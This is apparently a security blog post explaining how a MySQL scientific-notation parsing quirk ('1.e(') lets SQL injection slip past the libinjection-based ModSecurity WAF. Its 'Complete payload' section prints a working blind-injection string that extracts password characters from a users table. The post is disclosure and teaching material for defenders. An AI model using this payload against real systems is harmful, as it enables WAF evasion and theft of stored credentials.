Bypassing ModSecurity WAF
Tags: security, firewall, libinjection, mysql
Published: 2021-10-21 02:10:12

Being able to bypass Web Application Firewall (WAF) depends on your knowledge about their behavior. Here is a cool technique that involve **expressions that are ignored in MySQL SQL parser** ([MySQL <= 5.7](https://bugs.mysql.com/bug.php?id=105143)). This post summarizes the impact on libinjection. The [libinjection library](https://github.com/client9/libinjection) is used by <abbr title="Web Application Firewall">WAF</abbr> such as [ModSecurity](https://github.com/SpiderLabs/ModSecurity) and [SignalScience](https://docs.fastly.com/signalsciences/how-it-works/). For more details on AWS Cloudfront impact, read the [original GoSecure article](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/s1bwt2caxl3q8m5d3rdc.jpg)

# Scientific expression in MySQL

When MySQL sees `1.e(abc)`, it will ignore the `1.e(` portion because the following characters do not form a valid numeric value.

This behavior can be abused to fool libinjection tokenizer. Libinjection internally tokenizes the parameter and identifies contextual section types such as comments and strings. Libinjection sees the string “1.e” as an unknown SQL keyword and concludes that it is more likely to be an English sentence than code. When libinjection is [unaware of an SQL function](https://github.com/libinjection/libinjection/blob/49904c42a6e68dc8f16c022c693e897e4010a06c/src/libinjection_sqli_data.h#L8686) the same behavior can be exhibited.


# Attack in action

Here is a demonstration of modsecurity’s capability to block a malicious pattern for SQL injection. A forbidden page is returned which is the consequence of detection.

![SQL injection blocked](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9ie8vtjdsmyrvge560hn.gif)
<center>*Blocked!*</center>

In the following image, you can see the original request being slightly modified to bypass modsecurity and libinjection.

![SQL injection bypass WAF](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/54colvp1kugv5i09mfzq.gif)
<center>*<abbr title="Web Application Firewall">WAF</abbr> Bypass!*</center>

## Complete payload

Now, how do we go beyond `or 1=1` payloads? The `NUMBER.e` expression can be inserted at plenty of locations without breaking the SQL query. The following payload demonstrated read on arbitrary SQL tables.
```
' 1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2
```

The same payload was indented below for readability. `1.e(` and `1.e,` are ignored from the parser.
```
1.e(ascii 
1.e(substring(
1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 #(first char = 70)
or'1'='2
```

# Conclusion

Most bypass techniques evolve using special encoding to obfuscate the malicious requests (URL encoding, Unicode multibytes, XML entities, etc). This technique will work if the system behind the <abbr title="Web Application Firewall">WAF</abbr> is doing an unexpected decoding. This new technique is not encoding related. For this reason, it will be a versatile trick until most system upgrade their MySQL instances.

<center>*Full story on [GoSecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/) (More details on AWS Cloudfront)*</center>